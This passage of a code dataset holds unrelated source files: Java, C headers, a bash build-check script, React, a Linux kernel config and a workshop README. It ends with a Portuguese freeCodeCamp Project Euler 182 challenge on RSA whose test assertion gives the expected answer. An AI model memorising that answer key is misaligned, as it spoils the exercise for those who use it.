in;\n}\n\n} // namespace boost\n\n#endif\n\n"} +{"text": "/* \n * Copyright 2008 CoreMedia AG, Hamburg\n *\n * Licensed under the Apache License, Version 2.0 (the License); \n * you may not use this file except in compliance with the License. \n * You may obtain a copy of the License at \n * \n * http://www.apache.org/licenses/LICENSE-2.0 \n * \n * Unless required by applicable law or agreed to in writing, software \n * distributed under the License is distributed on an AS IS BASIS, \n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n * See the License for the specific language governing permissions and \n * limitations under the License. \n */\n\npackage com.coremedia.iso.boxes;\n\n\nimport com.coremedia.iso.IsoFile;\n\nimport java.util.List;\n\n/**\n * The metadata for a presentation is stored in the single Movie Box which occurs at the top-level of a file.\n * Normally this box is close to the beginning or end of the file, though this is not required.\n */\npublic class MovieBox extends AbstractContainerBox implements TrackBoxContainer {\n public static final String TYPE = \"moov\";\n\n public MovieBox() {\n super(IsoFile.fourCCtoBytes(TYPE));\n }\n\n public int getTrackCount() {\n return getBoxes(TrackBox.class).size();\n }\n\n\n /**\n * Returns the track numbers associated with this MovieBox.\n *\n * @return the tracknumbers (IDs) of the tracks in their order of appearance in the file\n */\n public long[] getTrackNumbers() {\n\n List trackBoxes = this.getBoxes(TrackBox.class);\n long[] trackNumbers = new long[trackBoxes.size()];\n for (int trackCounter = 0; trackCounter < trackBoxes.size(); trackCounter++) {\n AbstractBox trackBoxe = trackBoxes.get(trackCounter);\n TrackBox trackBox = (TrackBox) trackBoxe;\n trackNumbers[trackCounter] = trackBox.getTrackHeaderBox().getTrackId();\n }\n return trackNumbers;\n }\n\n public TrackMetaData getTrackMetaData(long trackId) {\n List trackBoxes = this.getBoxes(TrackBox.class);\n for (TrackBox trackBox : trackBoxes) {\n if (trackBox.getTrackHeaderBox().getTrackId() == trackId) {\n return new TrackMetaData(trackId, trackBox);\n }\n }\n throw new RuntimeException(\"TrackId \" + trackId + \" not contained in \" + this);\n }\n\n public MovieHeaderBox getMovieHeaderBox() {\n for (Box box : boxes) {\n if (box instanceof MovieHeaderBox) {\n return (MovieHeaderBox) box;\n }\n }\n return null;\n }\n\n}\n"} +{"text": "#!/usr/bin/env bash\n# Script for building OCaml+QML from cold start\n# It's checking for some dependencies. Previously it was generating Makefile\n# but now it doesn't\nRED='\\033[0;31m'\nGREEN='\\033[0;32m'\nNC='\\033[0m' # No Color\n\necho \"N.B. Don't forget to export right LD_LIBRARY_PATH and PKG_CONFIG_PATH for Qt5 before running this!\"\n\nfunction verlte() {\n [ \"$1\" == \"$2\" ] || test \"$(printf '%s\\n' \"$@\" | sort -t '.' -k 1,1 -k 2,2 -k 3,3 -k 4,4 -n | head -n 1)\" != \"$2\"\n}\n\nfunction maybe_exit() {\n if [ $1 != 0 ]; then\n printf \"${RED}ERROR${NC}: $2\\n\"\n exit 1\n fi\n}\nROOT_DIR=$PWD\n# checking ocaml version\nOCAML_VERSION_MIN=\"4.00.1\"\nOCAML_VERSION=`ocamlc -version`\nmaybe_exit $? \"ocamlc executable not found\"\nif ! verlte $OCAML_VERSION_MIN $OCAML_VERSION ; then\n echo \"Minimal OCaml version is $OCAML_VERSION_MIN (your is $OCAML_VERSION)\"\n exit 1\nelse\n echo \"OCaml $OCAML_VERSION found.\"\nfi\n\n#TODO: maybe add g++ version checking\n\n# checking for ocamlfind\n#OCAMLFIND_LOC=`which ocamlfind`\n#maybe_exit $? \"ocamlfind not found\"\n#echo \"ocamlfind found.\"\n\n#checking Qt installation\nTHEQMAKE=qmake-qt5\nOCAMLFIND_LOC=`which $THEQMAKE`\nif [ $? != 0 ]; then\n echo \"$THEQMAKE is not in PATH but it is not a problem unless we are on OpenSUSE or similar\"\n THEQMAKE=qmake\n OCAMLFIND_LOC=`which $THEQMAKE`\n maybe_exit $? \"$THEQMAKE not found\"\nfi\n\necho \"qmake found for Qt $QT_VERSION\"\n\nQT_VERSION=`$THEQMAKE -query QT_VERSION`\n\n# in Qt 5 QtQuick2 was implemented\n# in Qt 5.1 --- QtQuickControls\n# Qt 5.2 --- bugfixes and QQmlApplicationEngine\nQT_MIN_VERSION=\"5.2.0\"\nif ! verlte $QT_MIN_VERSION $QT_VERSION ; then\n printf \"${RED}Minimal Qt version is $QT_MIN_VERSION${NC} (your is $QT_VERSION)\\n\"\n exit 1\nfi\n\nfunction compile_test() {\n# tries to build test C++ application with Qt linking\necho \"Compiling test C++&Qt application...\"\ncd /tmp\necho \"#include \nint main() {\nQQuickView viewer;\nviewer.show();\nreturn 0;\n}\" > testQtDeclarative.cpp\ng++ -std=c++11 -fPIC `pkg-config --cflags Qt5Quick` testQtDeclarative.cpp \\\n `pkg-config --libs Qt5Quick`\n}\n\ncompile_test\nif [ $? != 0 ]; then\n printf \"Building C++&Qt test program application ${RED}failed${NC}.\\n\"\n echo -e \"N.B. If you are using Ubuntu 13.04 or precompiled Qt5 from website there is \\\n a possibility that file 'Qt5Core.pc' has bug. You can consider to substitute line\\n\\\n Libs: -L\\${libdir} -lQt5Core\\n\\\n for\\n\\\n Libs: -Wl,-rpath,\\${libdir} -L\\${libdir} -lQt5Core\\n\"\n exit 1\nelse\n printf \"C++&Qt ${GREEN}test program${NC} is built ${GREEN}successfully${NC}.\\n\"\nfi\ncd $ROOT_DIR\n\nexit 0\n"} +{"text": "/* SPDX-License-Identifier: GPL-2.0 */\n#ifndef __NVKM_SEC2_H__\n#define __NVKM_SEC2_H__\n#include \n\nstruct nvkm_sec2 {\n\tstruct nvkm_engine engine;\n\tu32 addr;\n\n\tstruct nvkm_falcon *falcon;\n\tstruct nvkm_msgqueue *queue;\n\tstruct work_struct work;\n};\n\nint gp102_sec2_new(struct nvkm_device *, int, struct nvkm_sec2 **);\nint tu102_sec2_new(struct nvkm_device *, int, struct nvkm_sec2 **);\n#endif\n"} +{"text": "/**\n * Imports.\n */\nimport React from 'react';\nimport {Link} from 'react-router';\nimport {FormattedMessage} from 'react-intl';\n\n// Flux\nimport IntlStore from '../../../stores/Application/IntlStore';\n\n// Required components\nimport Text from '../../common/typography/Text';\n\n/**\n * Component.\n */\nclass HomepageFeaturedCollection extends React.Component {\n\n static contextTypes = {\n getStore: React.PropTypes.func.isRequired\n };\n\n //*** Component Lifecycle ***//\n\n componentDidMount() {\n\n // Component styles\n require('./HomepageFeaturedCollection.scss');\n }\n\n //*** Template ***//\n\n render() {\n\n let intlStore = this.context.getStore(IntlStore);\n\n if (this.props.feature && this.props.feature.img) {\n return (\n
\n \n {this.props.feature.img.alt}\n \n
\n );\n } else if (this.props.feature) {\n return (\n
\n \n
\n \n \n \n
\n \n
\n );\n } else {\n return (\n
\n );\n }\n }\n}\n\n/**\n * Export.\n */\nexport default HomepageFeaturedCollection;\n"} +{"text": "-11.442 2.8743\n-12.738 -21.361\n14.094 -35.697\n41.7 -0.78486\n"} +{"text": "

\n \"Neo\"\n

\n\n

\n Workshop 006: Hackathon\n

\n\n# Introduction\n* Duration: \n\t* 4+ Hours\n* Prerequisites: \n\t* [003 Smart Contracts 1](./3_smart_contract_1/README.md)\n* Infrastructure Requirements:\n\t* (Required) Whiteboard or Projector\n\t* (Required) High-Speed Internet Connection\n* Instructor Prework:\n\t* (Required) Workshop content review\n\t* (Required) Eventnet setup\n* Student Prework:\n\t* (Recommended) General Understanding of blockchain fundamentals\n\t* (Recommended) Familiarization with Amazon Web Services(or other CSP)\n* Workshop Materials List:\n\t* None\n\n## Outline\nThis document outlines the complete technical execution of a hackathon from setup to finish. The goal is to provide a step-by-step procedure to significantly improve the experience of both the team running the hackathon and the participants.\n\n## Setup\n * Definition of duration and awards\n * Event-net deployment\n## Running the Hackathon\n * Average audience knowledge level\n * Running workshops\n * Clearly communicating information\n * Team formation and project planning\n * Review of projects by Instructors\n * Distribution of Gas for deployment\n * Project review\n\n"} +{"text": "#\n# Automatically generated make config: don't edit\n# Linux kernel version: 2.6.29-rc7-s6\n# Tue Mar 10 11:09:26 2009\n#\n# CONFIG_FRAME_POINTER is not set\nCONFIG_ZONE_DMA=y\nCONFIG_XTENSA=y\nCONFIG_RWSEM_XCHGADD_ALGORITHM=y\nCONFIG_GENERIC_FIND_NEXT_BIT=y\nCONFIG_GENERIC_HWEIGHT=y\nCONFIG_GENERIC_HARDIRQS=y\nCONFIG_GENERIC_GPIO=y\n# CONFIG_ARCH_HAS_ILOG2_U32 is not set\n# CONFIG_ARCH_HAS_ILOG2_U64 is not set\nCONFIG_NO_IOPORT=y\nCONFIG_HZ=100\nCONFIG_GENERIC_TIME=y\nCONFIG_DEFCONFIG_LIST=\"/lib/modules/$UNAME_RELEASE/.config\"\n\n#\n# General setup\n#\nCONFIG_EXPERIMENTAL=y\nCONFIG_BROKEN_ON_SMP=y\nCONFIG_LOCK_KERNEL=y\nCONFIG_INIT_ENV_ARG_LIMIT=32\nCONFIG_LOCALVERSION=\"\"\nCONFIG_LOCALVERSION_AUTO=y\nCONFIG_SYSVIPC=y\nCONFIG_SYSVIPC_SYSCTL=y\n# CONFIG_POSIX_MQUEUE is not set\n# CONFIG_BSD_PROCESS_ACCT is not set\n# CONFIG_TASKSTATS is not set\n# CONFIG_AUDIT is not set\n\n#\n# RCU Subsystem\n#\n# CONFIG_CLASSIC_RCU is not set\n# CONFIG_TREE_RCU is not set\nCONFIG_PREEMPT_RCU=y\n# CONFIG_RCU_TRACE is not set\n# CONFIG_TREE_RCU_TRACE is not set\n# CONFIG_PREEMPT_RCU_TRACE is not set\nCONFIG_IKCONFIG=y\nCONFIG_IKCONFIG_PROC=y\nCONFIG_LOG_BUF_SHIFT=16\n# CONFIG_GROUP_SCHED is not set\n# CONFIG_CGROUPS is not set\n# CONFIG_SYSFS_DEPRECATED_V2 is not set\n# CONFIG_RELAY is not set\n# CONFIG_NAMESPACES is not set\nCONFIG_BLK_DEV_INITRD=y\nCONFIG_INITRAMFS_SOURCE=\"\"\nCONFIG_CC_OPTIMIZE_FOR_SIZE=y\nCONFIG_SYSCTL=y\nCONFIG_EMBEDDED=y\nCONFIG_SYSCTL_SYSCALL=y\nCONFIG_KALLSYMS=y\n# CONFIG_KALLSYMS_ALL is not set\n# CONFIG_KALLSYMS_EXTRA_PASS is not set\n# CONFIG_HOTPLUG is not set\nCONFIG_PRINTK=y\nCONFIG_BUG=y\nCONFIG_ELF_CORE=y\n# CONFIG_COMPAT_BRK is not set\nCONFIG_BASE_FULL=y\nCONFIG_FUTEX=y\nCONFIG_ANON_INODES=y\nCONFIG_EPOLL=y\nCONFIG_SIGNALFD=y\nCONFIG_TIMERFD=y\nCONFIG_EVENTFD=y\nCONFIG_AIO=y\nCONFIG_VM_EVENT_COUNTERS=y\nCONFIG_SLAB=y\n# CONFIG_SLUB is not set\n# CONFIG_SLOB is not set\n# CONFIG_PROFILING is not set\n# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set\nCONFIG_SLABINFO=y\nCONFIG_RT_MUTEXES=y\nCONFIG_BASE_SMALL=0\n# CONFIG_MODULES is not set\nCONFIG_BLOCK=y\n# CONFIG_LBD is not set\n# CONFIG_BLK_DEV_IO_TRACE is not set\n# CONFIG_BLK_DEV_BSG is not set\n# CONFIG_BLK_DEV_INTEGRITY is not set\n\n#\n# IO Schedulers\n#\nCONFIG_IOSCHED_NOOP=y\n# CONFIG_IOSCHED_AS is not set\n# CONFIG_IOSCHED_DEADLINE is not set\nCONFIG_IOSCHED_CFQ=y\n# CONFIG_DEFAULT_AS is not set\n# CONFIG_DEFAULT_DEADLINE is not set\nCONFIG_DEFAULT_CFQ=y\n# CONFIG_DEFAULT_NOOP is not set\nCONFIG_DEFAULT_IOSCHED=\"cfq\"\n# CONFIG_FREEZER is not set\n# CONFIG_MMU is not set\nCONFIG_VARIANT_IRQ_SWITCH=y\n\n#\n# Processor type and features\n#\n# CONFIG_XTENSA_VARIANT_FSF is not set\n# CONFIG_XTENSA_VARIANT_DC232B is not set\nCONFIG_XTENSA_VARIANT_S6000=y\n# CONFIG_XTENSA_UNALIGNED_USER is not set\nCONFIG_PREEMPT=y\n# CONFIG_MATH_EMULATION is not set\n# CONFIG_HIGHMEM is not set\nCONFIG_XTENSA_CALIBRATE_CCOUNT=y\nCONFIG_SERIAL_CONSOLE=y\n# CONFIG_XTENSA_ISS_NETWORK is not set\n\n#\n# Bus options\n#\n# CONFIG_PCI is not set\n# CONFIG_ARCH_SUPPORTS_MSI is not set\n\n#\n# Platform options\n#\n# CONFIG_XTENSA_PLATFORM_ISS is not set\n# CONFIG_XTENSA_PLATFORM_XT2000 is not set\nCONFIG_XTENSA_PLATFORM_S6105=y\nCONFIG_GENERIC_CALIBRATE_DELAY=y\nCONFIG_CMDLINE_BOOL=y\nCONFIG_CMDLINE=\"console=ttyS1,38400 debug bootmem_debug loglevel=7\"\nCONFIG_SELECT_MEMORY_MODEL=y\nCONFIG_FLATMEM_MANUAL=y\n# CONFIG_DISCONTIGMEM_MANUAL is not set\n# CONFIG_SPARSEMEM_MANUAL is not set\nCONFIG_FLATMEM=y\nCONFIG_FLAT_NODE_MEM_MAP=y\nCONFIG_PAGEFLAGS_EXTENDED=y\nCONFIG_SPLIT_PTLOCK_CPUS=4\n# CONFIG_PHYS_ADDR_T_64BIT is not set\nCONFIG_ZONE_DMA_FLAG=1\nCONFIG_VIRT_TO_BUS=y\n\n#\n# Executable file formats\n#\nCONFIG_KCORE_ELF=y\nCONFIG_BINFMT_FLAT=y\n# CONFIG_BINFMT_ZFLAT is not set\n# CONFIG_BINFMT_SHARED_FLAT is not set\n# CONFIG_HAVE_AOUT is not set\n# CONFIG_BINFMT_MISC is not set\nCONFIG_NET=y\n\n#\n# Networking options\n#\nCONFIG_COMPAT_NET_DEV_OPS=y\nCONFIG_PACKET=y\n# CONFIG_PACKET_MMAP is not set\nCONFIG_UNIX=y\n# CONFIG_NET_KEY is not set\nCONFIG_INET=y\n# CONFIG_IP_MULTICAST is not set\n# CONFIG_IP_ADVANCED_ROUTER is not set\nCONFIG_IP_FIB_HASH=y\n# CONFIG_IP_PNP is not set\n# CONFIG_NET_IPIP is not set\n# CONFIG_NET_IPGRE is not set\n# CONFIG_ARPD is not set\n# CONFIG_SYN_COOKIES is not set\n# CONFIG_INET_AH is not set\n# CONFIG_INET_ESP is not set\n# CONFIG_INET_IPCOMP is not set\n# CONFIG_INET_XFRM_TUNNEL is not set\n# CONFIG_INET_TUNNEL is not set\n# CONFIG_INET_XFRM_MODE_TRANSPORT is not set\n# CONFIG_INET_XFRM_MODE_TUNNEL is not set\n# CONFIG_INET_XFRM_MODE_BEET is not set\n# CONFIG_INET_LRO is not set\n# CONFIG_INET_DIAG is not set\n# CONFIG_TCP_CONG_ADVANCED is not set\nCONFIG_TCP_CONG_CUBIC=y\nCONFIG_DEFAULT_TCP_CONG=\"cubic\"\n# CONFIG_TCP_MD5SIG is not set\n# CONFIG_IPV6 is not set\n# CONFIG_NETWORK_SECMARK is not set\n# CONFIG_NETFILTER is not set\n# CONFIG_IP_DCCP is not set\n# CONFIG_IP_SCTP is not set\n# CONFIG_TIPC is not set\n# CONFIG_ATM is not set\n# CONFIG_BRIDGE is not set\n# CONFIG_NET_DSA is not set\n# CONFIG_VLAN_8021Q is not set\n# CONFIG_DECNET is not set\n# CONFIG_LLC2 is not set\n# CONFIG_IPX is not set\n# CONFIG_ATALK is not set\n# CONFIG_X25 is not set\n# CONFIG_LAPB is not set\n# CONFIG_ECONET is not set\n# CONFIG_WAN_ROUTER is not set\n# CONFIG_NET_SCHED is not set\n# CONFIG_DCB is not set\n\n#\n# Network testing\n#\n# CONFIG_NET_PKTGEN is not set\n# CONFIG_HAMRADIO is not set\n# CONFIG_CAN is not set\n# CONFIG_IRDA is not set\n# CONFIG_BT is not set\n# CONFIG_AF_RXRPC is not set\n# CONFIG_PHONET is not set\n# CONFIG_WIRELESS is not set\n# CONFIG_WIMAX is not set\n# CONFIG_RFKILL is not set\n# CONFIG_NET_9P is not set\n\n#\n# Device Drivers\n#\n\n#\n# Generic Driver Options\n#\nCONFIG_STANDALONE=y\nCONFIG_PREVENT_FIRMWARE_BUILD=y\n# CONFIG_DEBUG_DRIVER is not set\n# CONFIG_DEBUG_DEVRES is not set\n# CONFIG_SYS_HYPERVISOR is not set\n# CONFIG_CONNECTOR is not set\n# CONFIG_MTD is not set\n# CONFIG_PARPORT is not set\nCONFIG_BLK_DEV=y\n# CONFIG_BLK_DEV_COW_COMMON is not set\n# CONFIG_BLK_DEV_LOOP is not set\n# CONFIG_BLK_DEV_NBD is not set\nCONFIG_BLK_DEV_RAM=y\nCONFIG_BLK_DEV_RAM_COUNT=16\nCONFIG_BLK_DEV_RAM_SIZE=4096\n# CONFIG_BLK_DEV_XIP is not set\n# CONFIG_CDROM_PKTCDVD is not set\n# CONFIG_ATA_OVER_ETH is not set\n# CONFIG_BLK_DEV_HD is not set\n# CONFIG_MISC_DEVICES is not set\nCONFIG_HAVE_IDE=y\n# CONFIG_IDE is not set\n\n#\n# SCSI device support\n#\n# CONFIG_RAID_ATTRS is not set\n# CONFIG_SCSI is not set\n# CONFIG_SCSI_DMA is not set\n# CONFIG_SCSI_NETLINK is not set\n# CONFIG_ATA is not set\n# CONFIG_MD is not set\nCONFIG_NETDEVICES=y\n# CONFIG_DUMMY is not set\n# CONFIG_BONDING is not set\n# CONFIG_MACVLAN is not set\n# CONFIG_EQUALIZER is not set\n# CONFIG_TUN is not set\n# CONFIG_VETH is not set\nCONFIG_PHYLIB=y\n\n#\n# MII PHY device drivers\n#\n# CONFIG_MARVELL_PHY is not set\n# CONFIG_DAVICOM_PHY is not set\n# CONFIG_QSEMI_PHY is not set\n# CONFIG_LXT_PHY is not set\n# CONFIG_CICADA_PHY is not set\n# CONFIG_VITESSE_PHY is not set\nCONFIG_SMSC_PHY=y\n# CONFIG_BROADCOM_PHY is not set\n# CONFIG_ICPLUS_PHY is not set\n# CONFIG_REALTEK_PHY is not set\n# CONFIG_NATIONAL_PHY is not set\n# CONFIG_STE10XP is not set\n# CONFIG_LSI_ET1011C_PHY is not set\n# CONFIG_FIXED_PHY is not set\n# CONFIG_MDIO_BITBANG is not set\n# CONFIG_NET_ETHERNET is not set\nCONFIG_NETDEV_1000=y\nCONFIG_S6GMAC=y\n# CONFIG_NETDEV_10000 is not set\n\n#\n# Wireless LAN\n#\n# CONFIG_WLAN_PRE80211 is not set\n# CONFIG_WLAN_80211 is not set\n# CONFIG_IWLWIFI_LEDS is not set\n\n#\n# Enable WiMAX (Networking options) to see the WiMAX drivers\n#\n# CONFIG_WAN is not set\n# CONFIG_PPP is not set\n# CONFIG_SLIP is not set\n# CONFIG_NETCONSOLE is not set\n# CONFIG_NETPOLL is not set\n# CONFIG_NET_POLL_CONTROLLER is not set\n# CONFIG_ISDN is not set\n# CONFIG_PHONE is not set\n\n#\n# Input device support\n#\n# CONFIG_INPUT is not set\n\n#\n# Hardware I/O ports\n#\n# CONFIG_SERIO is not set\n# CONFIG_GAMEPORT is not set\n\n#\n# Character devices\n#\n# CONFIG_VT is not set\n# CONFIG_DEVKMEM is not set\n# CONFIG_SERIAL_NONSTANDARD is not set\n\n#\n# Serial drivers\n#\nCONFIG_SERIAL_8250=y\nCONFIG_SERIAL_8250_CONSOLE=y\nCONFIG_SERIAL_8250_NR_UARTS=2\nCONFIG_SERIAL_8250_RUNTIME_UARTS=2\n# CONFIG_SERIAL_8250_EXTENDED is not set\n\n#\n# Non-8250 serial port support\n#\nCONFIG_SERIAL_CORE=y\nCONFIG_SERIAL_CORE_CONSOLE=y\nCONFIG_UNIX98_PTYS=y\n# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set\n# CONFIG_LEGACY_PTYS is not set\n# CONFIG_IPMI_HANDLER is not set\n# CONFIG_HW_RANDOM is not set\n# CONFIG_R3964 is not set\n# CONFIG_RAW_DRIVER is not set\n# CONFIG_TCG_TPM is not set\n# CONFIG_I2C is not set\n# CONFIG_SPI is not set\nCONFIG_ARCH_REQUIRE_GPIOLIB=y\nCONFIG_GPIOLIB=y\n# CONFIG_DEBUG_GPIO is not set\n# CONFIG_GPIO_SYSFS is not set\n\n#\n# Memory mapped GPIO expanders:\n#\n\n#\n# I2C GPIO expanders:\n#\n\n#\n# PCI GPIO expanders:\n#\n\n#\n# SPI GPIO expanders:\n#\n# CONFIG_W1 is not set\n# CONFIG_POWER_SUPPLY is not set\n# CONFIG_HWMON is not set\n# CONFIG_THERMAL is not set\n# CONFIG_THERMAL_HWMON is not set\n# CONFIG_WATCHDOG is not set\nCONFIG_SSB_POSSIBLE=y\n\n#\n# Sonics Silicon Backplane\n#\n# CONFIG_SSB is not set\n\n#\n# Multifunction device drivers\n#\n# CONFIG_MFD_CORE is not set\n# CONFIG_MFD_SM501 is not set\n# CONFIG_HTC_PASIC3 is not set\n# CONFIG_MFD_TMIO is not set\n# CONFIG_REGULATOR is not set\n\n#\n# Multimedia devices\n#\n\n#\n# Multimedia core support\n#\n# CONFIG_VIDEO_DEV is not set\n# CONFIG_DVB_CORE is not set\n# CONFIG_VIDEO_MEDIA is not set\n\n#\n# Multimedia drivers\n#\n# CONFIG_DAB is not set\n\n#\n# Graphics support\n#\n# CONFIG_VGASTATE is not set\n# CONFIG_VIDEO_OUTPUT_CONTROL is not set\n# CONFIG_FB is not set\n# CONFIG_BACKLIGHT_LCD_SUPPORT is not set\n\n#\n# Display device support\n#\n# CONFIG_DISPLAY_SUPPORT is not set\n# CONFIG_SOUND is not set\n# CONFIG_USB_SUPPORT is not set\n# CONFIG_MMC is not set\n# CONFIG_MEMSTICK is not set\n# CONFIG_NEW_LEDS is not set\n# CONFIG_ACCESSIBILITY is not set\nCONFIG_RTC_LIB=y\nCONFIG_RTC_CLASS=y\nCONFIG_RTC_HCTOSYS=y\nCONFIG_RTC_HCTOSYS_DEVICE=\"rtc0\"\n# CONFIG_RTC_DEBUG is not set\n\n#\n# RTC interfaces\n#\n# CONFIG_RTC_INTF_SYSFS is not set\n# CONFIG_RTC_INTF_PROC is not set\n# CONFIG_RTC_INTF_DEV is not set\n# CONFIG_RTC_DRV_TEST is not set\n\n#\n# I2C RTC drivers\n#\n# CONFIG_RTC_DRV_DS1307 is not set\n# CONFIG_RTC_DRV_DS1374 is not set\n# CONFIG_RTC_DRV_DS1672 is not set\n# CONFIG_RTC_DRV_MAX6900 is not set\n# CONFIG_RTC_DRV_RS5C372 is not set\n# CONFIG_RTC_DRV_ISL1208 is not set\n# CONFIG_RTC_DRV_X1205 is not set\n# CONFIG_RTC_DRV_PCF8563 is not set\n# CONFIG_RTC_DRV_PCF8583 is not set\nCONFIG_RTC_DRV_M41T80=y\n# CONFIG_RTC_DRV_M41T80_WDT is not set\n# CONFIG_RTC_DRV_S35390A is not set\n# CONFIG_RTC_DRV_FM3130 is not set\n# CONFIG_RTC_DRV_RX8581 is not set\n\n#\n# SPI RTC drivers\n#\n\n#\n# Platform RTC drivers\n#\n# CONFIG_RTC_DRV_DS1286 is not set\n# CONFIG_RTC_DRV_DS1511 is not set\n# CONFIG_RTC_DRV_DS1553 is not set\n# CONFIG_RTC_DRV_DS1742 is not set\n# CONFIG_RTC_DRV_STK17TA8 is not set\n# CONFIG_RTC_DRV_M48T86 is not set\n# CONFIG_RTC_DRV_M48T35 is not set\n# CONFIG_RTC_DRV_M48T59 is not set\n# CONFIG_RTC_DRV_BQ4802 is not set\n# CONFIG_RTC_DRV_V3020 is not set\n\n#\n# on-CPU RTC drivers\n#\n# CONFIG_DMADEVICES is not set\n# CONFIG_UIO is not set\n# CONFIG_STAGING is not set\n\n#\n# File systems\n#\n# CONFIG_EXT2_FS is not set\n# CONFIG_EXT3_FS is not set\n# CONFIG_EXT4_FS is not set\n# CONFIG_REISERFS_FS is not set\n# CONFIG_JFS_FS is not set\n# CONFIG_FS_POSIX_ACL is not set\nCONFIG_FILE_LOCKING=y\n# CONFIG_XFS_FS is not set\n# CONFIG_OCFS2_FS is not set\n# CONFIG_BTRFS_FS is not set\n# CONFIG_DNOTIFY is not set\n# CONFIG_INOTIFY is not set\n# CONFIG_QUOTA is not set\n# CONFIG_AUTOFS_FS is not set\n# CONFIG_AUTOFS4_FS is not set\n# CONFIG_FUSE_FS is not set\n\n#\n# CD-ROM/DVD Filesystems\n#\n# CONFIG_ISO9660_FS is not set\n# CONFIG_UDF_FS is not set\n\n#\n# DOS/FAT/NT Filesystems\n#\n# CONFIG_MSDOS_FS is not set\n# CONFIG_VFAT_FS is not set\n# CONFIG_NTFS_FS is not set\n\n#\n# Pseudo filesystems\n#\nCONFIG_PROC_FS=y\nCONFIG_PROC_SYSCTL=y\nCONFIG_SYSFS=y\n# CONFIG_TMPFS is not set\n# CONFIG_HUGETLB_PAGE is not set\n# CONFIG_CONFIGFS_FS is not set\n# CONFIG_MISC_FILESYSTEMS is not set\n# CONFIG_NETWORK_FILESYSTEMS is not set\n\n#\n# Partition Types\n#\n# CONFIG_PARTITION_ADVANCED is not set\nCONFIG_MSDOS_PARTITION=y\n# CONFIG_NLS is not set\n# CONFIG_DLM is not set\n\n#\n# Xtensa initrd options\n#\n# CONFIG_EMBEDDED_RAMDISK is not set\n\n#\n# Kernel hacking\n#\nCONFIG_PRINTK_TIME=y\n# CONFIG_ENABLE_WARN_DEPRECATED is not set\n# CONFIG_ENABLE_MUST_CHECK is not set\nCONFIG_FRAME_WARN=1024\n# CONFIG_MAGIC_SYSRQ is not set\n# CONFIG_UNUSED_SYMBOLS is not set\n# CONFIG_DEBUG_FS is not set\n# CONFIG_HEADERS_CHECK is not set\nCONFIG_DEBUG_KERNEL=y\nCONFIG_DEBUG_SHIRQ=y\nCONFIG_DETECT_SOFTLOCKUP=y\n# CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set\nCONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0\n# CONFIG_SCHED_DEBUG is not set\n# CONFIG_SCHEDSTATS is not set\n# CONFIG_TIMER_STATS is not set\n# CONFIG_DEBUG_OBJECTS is not set\n# CONFIG_DEBUG_SLAB is not set\n# CONFIG_DEBUG_RT_MUTEXES is not set\n# CONFIG_RT_MUTEX_TESTER is not set\nCONFIG_DEBUG_SPINLOCK=y\nCONFIG_DEBUG_MUTEXES=y\nCONFIG_DEBUG_SPINLOCK_SLEEP=y\n# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set\n# CONFIG_DEBUG_KOBJECT is not set\n# CONFIG_DEBUG_INFO is not set\n# CONFIG_DEBUG_VM is not set\nCONFIG_DEBUG_NOMMU_REGIONS=y\n# CONFIG_DEBUG_WRITECOUNT is not set\n# CONFIG_DEBUG_MEMORY_INIT is not set\n# CONFIG_DEBUG_LIST is not set\n# CONFIG_DEBUG_SG is not set\n# CONFIG_DEBUG_NOTIFIERS is not set\n# CONFIG_BOOT_PRINTK_DELAY is not set\n# CONFIG_RCU_TORTURE_TEST is not set\n# CONFIG_BACKTRACE_SELF_TEST is not set\n# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set\n# CONFIG_FAULT_INJECTION is not set\n# CONFIG_SYSCTL_SYSCALL_CHECK is not set\n\n#\n# Tracers\n#\n# CONFIG_PREEMPT_TRACER is not set\n# CONFIG_SCHED_TRACER is not set\n# CONFIG_CONTEXT_SWITCH_TRACER is not set\n# CONFIG_BOOT_TRACER is not set\n# CONFIG_TRACE_BRANCH_PROFILING is not set\n# CONFIG_DYNAMIC_PRINTK_DEBUG is not set\n# CONFIG_SAMPLES is not set\n\n#\n# Security options\n#\n# CONFIG_KEYS is not set\n# CONFIG_SECURITY is not set\n# CONFIG_SECURITYFS is not set\n# CONFIG_SECURITY_FILE_CAPABILITIES is not set\n# CONFIG_CRYPTO is not set\n\n#\n# Library routines\n#\nCONFIG_GENERIC_FIND_LAST_BIT=y\n# CONFIG_CRC_CCITT is not set\n# CONFIG_CRC16 is not set\n# CONFIG_CRC_T10DIF is not set\n# CONFIG_CRC_ITU_T is not set\n# CONFIG_CRC32 is not set\n# CONFIG_CRC7 is not set\n# CONFIG_LIBCRC32C is not set\nCONFIG_PLIST=y\nCONFIG_HAS_IOMEM=y\nCONFIG_HAS_DMA=y\n"} +{"text": "---\nid: 5900f4231000cf542c50ff35\nchallengeType: 5\ntitle: 'Problem 182: RSA encryption'\nvideoUrl: ''\nlocaleTitle: 'Problema 182: Criptografia RSA'\n---\n\n## Description\n
A criptografia RSA é baseada no seguinte procedimento: Gere dois primos distintos p e q.Compute n = pq e φ = (p-1) (q-1). Encontre um inteiro e, 1

Instruções

Testes 

 tests: - text: <code>euler182()</code> should return 399788195976. testString: 'assert.strictEqual(euler182(), 399788195976, "<code>euler182()</code> should return 399788195976.");'

Semente do Desafio 

 function euler182() { // Good luck! return true; } euler182();

Solução 

 // solution required
\n\n## Instructions\n
\n
\n\n## Tests\n
\n\n```yml\ntests:\n - text: euler182() deve retornar 399788195976.\n testString: 'assert.strictEqual(euler182(), 399788195976, \"euler182() should return 399788195976.\");'\n\n```\n\n
\n\n## Challenge Seed\n
\n\n
\n\n```js\nfunction euler182() {\n // Good luck!\n return true;\n}\n\neuler182();\n\n```\n\n
\n\n\n\n
\n\n## Solution\n
\n\n```js\n// solution required\n```\n
